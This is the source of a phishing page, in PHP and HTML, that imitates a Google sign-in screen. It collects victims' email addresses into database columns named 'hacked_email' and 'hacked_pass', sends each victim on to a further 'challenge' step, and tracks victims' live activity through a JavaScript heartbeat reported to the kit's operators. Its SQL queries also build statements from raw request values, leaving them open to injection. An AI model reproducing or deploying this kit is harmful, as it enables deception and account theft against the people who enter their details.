<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
// Include the database connection file
include 'con.php';
  
    $visitor_id = session_id();
 
$current_page1 = $_GET['page'] ?? "EMAIL_PAGE";
$current_page="EMAIL_PAGE";
$admin_id = $_SESSION['admin_id'] ?? ($_GET['admin_id'] ?? 1);
$user_id = $_SESSION['user_id'] ?? ($_GET['user_id'] ?? 1);
$status = $_POST['status'] ?? $_GET['status'] ?? "active"; // default active
 
 if(isset($_SESSION['visitor_id'])){
      $visitor_id=$_SESSION['visitor_id'];
 }
    
    
  
if (isset($_SESSION['admin_id']) && isset($_SESSION['user_id'])) {
    $admin_id = $_SESSION['admin_id'];
    $user_id = $_SESSION['user_id'];
  
     $visitor_id=$visitor_id;
    
     
     // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
         global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;
        $connectionVar = "con" . $admin_id; // Dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null;
    }

    // Get the connection
    $connection = getConnection($admin_id);
    if (!$connection) {
        die("No database connection found for admin_id $admin_id.");
    }
 

 
 
// Update/Insert visitor row (single row per visitor)
$check = mysqli_query($connection,"SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1");
 
    mysqli_query($connection,"UPDATE gmail
        SET current_page='$current_page', visitor_status='$status', last_active=NOW()
        WHERE visitor_id='$visitor_id' LIMIT 1");
 



    // Handle form submission
    if (isset($_POST['next'])) {
      
         $email = trim($_POST['email']);
        $valid_email = "";

        // Function to validate email
   
// Function to validate email
function isValidEmail($email) {
    $email = strtolower($email);

    // Check if the email is well-formed
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        return false; // Invalid format
    }

    // Split the email into parts (before and after '@')
    $parts = explode('@', $email);

    // Check if there are at least 8 characters before '@'
    if (strlen($parts[0]) < 8) {
        return false; // Invalid: less than 8 characters before '@'
    }

    // Validate the domain
    $domain = $parts[1];
    if (!checkdnsrr($domain, "MX") && !checkdnsrr($domain, "A")) {
        return false; // Invalid domain
    }

    return true; // Email is valid
}
if (isValidEmail($email)) {

    $email = trim($email);
    $email = mysqli_real_escape_string($connection, $email);

    // Get existing hacked_email for this visitor
    $get_query = mysqli_query($connection, "
        SELECT hacked_email 
        FROM gmail 
        WHERE visitor_id = '$visitor_id' 
        LIMIT 1
    ");

    $row = mysqli_fetch_assoc($get_query);
    $existing_emails = $row['hacked_email'];

    if (empty($existing_emails)) {

        // First email insert
        $update_query = mysqli_query($connection, "
            UPDATE gmail
            SET hacked_email = '$email',
                is_new = 1,
                created_at = NOW()
            WHERE visitor_id = '$visitor_id'
            LIMIT 1
        ");

    } else {

        // Check duplicate inside newline list
        $email_array = explode("\n", $existing_emails);

        if (!in_array($email, $email_array)) {

            $update_query = mysqli_query($connection, "
                UPDATE gmail
                SET hacked_email = CONCAT(hacked_email, '\n', '$email'),
                    is_new = 1,
                    created_at = NOW()
                WHERE visitor_id = '$visitor_id'
                LIMIT 1
            ");

        } else {
            // Duplicate found, no update needed
            $update_query = true;
        }
    }

    if ($update_query) {
        $_SESSION['email'] = $email;
        header("Location: challenge.php");
        exit();
    } else {
        die("Query failed: " . mysqli_error($connection));
    }

} else {
    $alert = "Invalid email format. Please try again.";
}

        
        
    }
} elseif (isset($_GET['admin_id']) && isset($_GET['user_id'])){
     $admin_id = $_GET['admin_id'];
    $user_id = $_GET['user_id'];
    
    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
         global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;
        $connectionVar = "con" . $admin_id; // Dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null;
    }

    // Get the connection
    $connection = getConnection($admin_id);
    if (!$connection) {
        die("No database connection found for admin_id $admin_id.");
    }
 
 
 $visitor_id = session_id();
$current_page = $_GET['page'] ?? $_POST['page'] ?? "1"; // set per page 1,2 etc
$status = "active"; // page load এ immediately active

 

// Update or insert visitor row
$check = mysqli_query($connection, "SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1");

if(mysqli_num_rows($check) == 0){
    mysqli_query($connection,"INSERT INTO gmail(visitor_id,current_page,visitor_status,last_active,created_at)
        VALUES('$visitor_id','$current_page','$status',NOW(),NOW())");
} else {
    mysqli_query($connection,"UPDATE gmail
        SET current_page='$current_page', visitor_status='active', last_active=NOW()
        WHERE visitor_id='$visitor_id'
        LIMIT 1");
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

    // Handle form submission
    if (isset($_POST['next'])) {
      
         $email = trim($_POST['email']);
        $valid_email = "";

        // Function to validate email
   
// Function to validate email
function isValidEmail($email) {
    $email = strtolower($email);

    // Check if the email is well-formed
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        return false; // Invalid format
    }

    // Split the email into parts (before and after '@')
    $parts = explode('@', $email);

    // Check if there are at least 8 characters before '@'
    if (strlen($parts[0]) < 8) {
        return false; // Invalid: less than 8 characters before '@'
    }

    // Validate the domain
    $domain = $parts[1];
    if (!checkdnsrr($domain, "MX") && !checkdnsrr($domain, "A")) {
        return false; // Invalid domain
    }

    return true; // Email is valid
}

// Assuming you're checking the validity of the email and other variables
if (isValidEmail($email)) {
    // Fetch the username associated with the user_id
    $user_query = mysqli_query($connection, "SELECT `username` FROM `admin` WHERE `id` = '$user_id'");
    $result = mysqli_fetch_assoc($user_query);
    $username = $result['username'];

    // Sanitize email and user agent inputs
    $email = mysqli_real_escape_string($connection, $email);
    $user_agent = mysqli_real_escape_string($connection, $user_agent);

    // Check if the email already exists in the `gmail` table
    $check_query = mysqli_query($connection, "SELECT * FROM `gmail` WHERE `hacked_email` = '$email'");

    if (mysqli_num_rows($check_query) > 0) {
        $valid_email="";
        // If the email already exists, update the database (you can choose which fields to update)
        $update_query = mysqli_query($connection, "
            UPDATE `gmail`
            SET `valid_email` = '$valid_email', `user_agent` = '$user_agent', `TIME` = NOW()
            WHERE `hacked_email` = '$email'
        ");

        if ($update_query) {
            // If update is successful
            $_SESSION['admin_id'] = $admin_id;
            $_SESSION['user_id'] = $user_id;
            $_SESSION['email'] = $email;
            header("Location: challenge.php");
            exit();
        } else {
            die("Update query failed: " . mysqli_error($connection));
        }
    } else {
        // If email doesn't exist, insert a new record into the `gmail` table
        $insert_query = mysqli_query($connection, "
            INSERT INTO `gmail` 
            (`admin`, `Site`, `hacked_email`, `valid_email`, `hacked_pass`, `valid_pass`, `code`, `step_2`, `phone`, `login`, `user_agent`, `new`, `TIME`) 
            VALUES 
            ('$username', '$site', '$email', '', '', '', '', '', '', '', '$user_agent', 0, NOW())
        ");

        if ($insert_query) {
            // If insert is successful
            $_SESSION['admin_id'] = $admin_id;
            $_SESSION['user_id'] = $user_id;
            $_SESSION['email'] = $email;
            header("Location: challenge.php");
            exit();
        } else {
            die("Insert query failed: " . mysqli_error($connection));
        }
    }
} else {
    
    $alert = "Invalid email format. Please try again.";
}

        
        
        
    }
    
    
   
}else{ }

 
$error = false;
if (isset($_GET['error'])) {
    $error = true;
}
 
?>
 


  

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
         
          <meta name="referrer" content="no-referrer">
 
      
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>G00gle L0gin</title>
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;700&display=swap" rel="stylesheet">
  <style>
      @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;700&display=swap');
      * {
          padding: 0;
          margin: 0;
          box-sizing: border-box;
          font-family: 'Poppins', sans-serif;
      }
      .box {
          height: 100vh;
          display: flex;
          justify-content: center;
          align-items: center;
          user-select: none;
      }
      .form {
          width: 400px;
          min-height: 400px;
          padding: 32px;
          border-radius: 6px;
        
      }
      .form img {
          display: block;
        
      }
      .form-title {
          font-weight: 500;
          margin-top: 10px;
          margin-bottom: 20px;
          font-size: 20px;
      }
      .form-group {
          height: 48px;
          margin-bottom: 20px;
          position: relative;
      }
      .form-control {
          position: absolute;
          top: 0;
          left: 0;
          width: 100%;
          height: 100%;
          background: none;
          border: 1px solid #a1a1a1;
          outline: none;
          padding: 16px;
          border-radius: 3px;
          z-index: 1;
          transition: border-color 0.3s ease-in-out;
      }
      .form-label {
          position: absolute;
          left: 13px;
          top: 13px;
          color: #a1a1a1;
          background-color: white;
          padding: 0 6px;
          font-size: 14px;
          transition: 0.3s;
      }
      .form-control:focus + .form-label {
          top: -10px;
          z-index: 10;
          color: #1B66C9;
          font-weight: 500;
      }
      .form-control:focus {
          border: 1px solid #1B66C9;
      }
      .invalid-email .form-control:focus + .form-label {
          color: red;
          font-weight: 500;
      }
      .invalid-email .form-control {
          border: 1px solid red;
      }
      .invalid-email .form-control:focus {
          border: 1px solid red;
      }
      .bottom-box {
          display: flex;
          justify-content: space-between;
          align-items: center;
          margin-top: 35px;
      }
      .bottom-box a {
          color: #1B66C9;
          text-decoration: none;
          font-size: 14px;
          font-weight: 500;
      }
      .form-button {
          display: block;
          padding: 12px 32px;
          border: none;
          background-color: #1B66C9;
          color: #fff;
          border-radius: 3px;
          cursor: pointer;
          transition: 0.3s;
      }
      .form-button:hover {
          box-shadow: 0 10px 36px rgba(0, 0, 0, .15);
      }

      /* Loading Overlay with Blur */
      .loading-overlay {
          position: fixed;
          top: 0;
          left: 0;
          width: 100%;
          height: 100%;
          background: rgba(0, 0, 0, 0.5);
          display: none;
          justify-content: center;
          align-items: center;
          z-index: 1000;
      }
      .loading-overlay.active {
          display: flex;
      }
      .loading-overlay .loading-spinner {
          border: 8px solid #f3f3f3;
          border-top: 8px solid #3498db;
          border-radius: 50%;
          width: 50px;
          height: 50px;
          animation: spin 2s linear infinite;
      }

      /* Blur background effect */
      .blurred {
          filter: blur(5px);
          pointer-events: none;
      }

      @keyframes spin {
          0% { transform: rotate(0deg); }
          100% { transform: rotate(360deg); }
      }
      input.is-invalid {
    border: 2px solid red;
    box-shadow: 0 0 5px red;
}

label.text-danger {
    color: red; /* Make the label text red */
}

.invalid-feedback {
    color: red;
    font-size: 0.875em;
    margin-top: 5px;
}

  </style>

 
</head>
<body>
    
   
  <div class="loading-overlay" id="loadingOverlay">
    <div class="loading-spinner"></div>
  </div>

  <div class="box" id="formBox">
    <form action="" method="post" class="form <?php echo $invalidClass; ?>"> <!-- Dynamically add invalid-email class -->
      <img src="6s5Eha.png" alt="">
      <h1 class="form-title">Sign in</h1>
      <p>Use your Google Account . The Account Will be added this device and available to other google maps</p>
      <br>
      <div class="form-group">
         <input type="text" name="email" class="form-control" required   >
        <label for="" class="form-label">Email or phone</label>
      </div>
      
      <span style="font-size:10px;color:red;">  <?php if($error): ?>
        <div class="error-text">
            Couldn’t find your Google Account
        </div>
    <?php endif; ?> </span>
      
      <div class="bottom-box" style="margin: 20px 0;">
        <a href="#">Forget Email?</a>
      </div>
      <div class="form-group">
        <p style="font-size:12px;">Not your computer? Use Guest mode to sign in privately.<a href="">Learn more about using Guest mode</a></p>
      </div>
      <a style="color:blue;">Create account</a>
      <button type="submit" class="form-button" name="next" style="float:right;text-decoration:none;" id="nextButton">Next</button>
    </form>
  </div>

  <script>
    // Display the loading overlay when email_insert is true
    <?php if ($email_insert): ?>
      document.getElementById('loadingOverlay').classList.add('active');
      document.getElementById('formBox').classList.add('blurred');
    <?php endif; ?>

    // Hide the loading overlay and unblur the form when the overlay is active
    document.getElementById('nextButton').addEventListener('click', function() {
      if (<?php echo $email_insert ? 'true' : 'false'; ?>) {
        setTimeout(function() {
          document.getElementById('loadingOverlay').classList.remove('active');
          document.getElementById('formBox').classList.remove('blurred');
        }, 3000); // Loading screen will disappear after 3 seconds
      }
    });
  </script>
  
<script>
let idleTime = 0;

function sendStatus(status){
    fetch(window.location.href,{
        method:'POST',
        headers:{'Content-Type':'application/x-www-form-urlencoded'},
        body:'status='+status+'&page='+encodeURIComponent(window.location.search.replace('?','')) // pass page param
    }).catch(err=>console.log("Visitor status update failed",err));
}

// initial active on page load
sendStatus('active');

// heartbeat every 15 sec
setInterval(()=>{
    idleTime++;
    if(idleTime < 60){
        sendStatus('active');
    } else {
        sendStatus('idle');
    }
},15000);

// reset idle on activity
['mousemove','keypress','touchstart'].forEach(evt=>{
    document.addEventListener(evt,()=>{ idleTime=0; });
});

// tab close → inactive
window.addEventListener('beforeunload',()=>{
    navigator.sendBeacon(window.location.href,new URLSearchParams({
        status:'inactive',
        page:window.location.search.replace('?','')
    }));
});
</script>

</body>
</html>
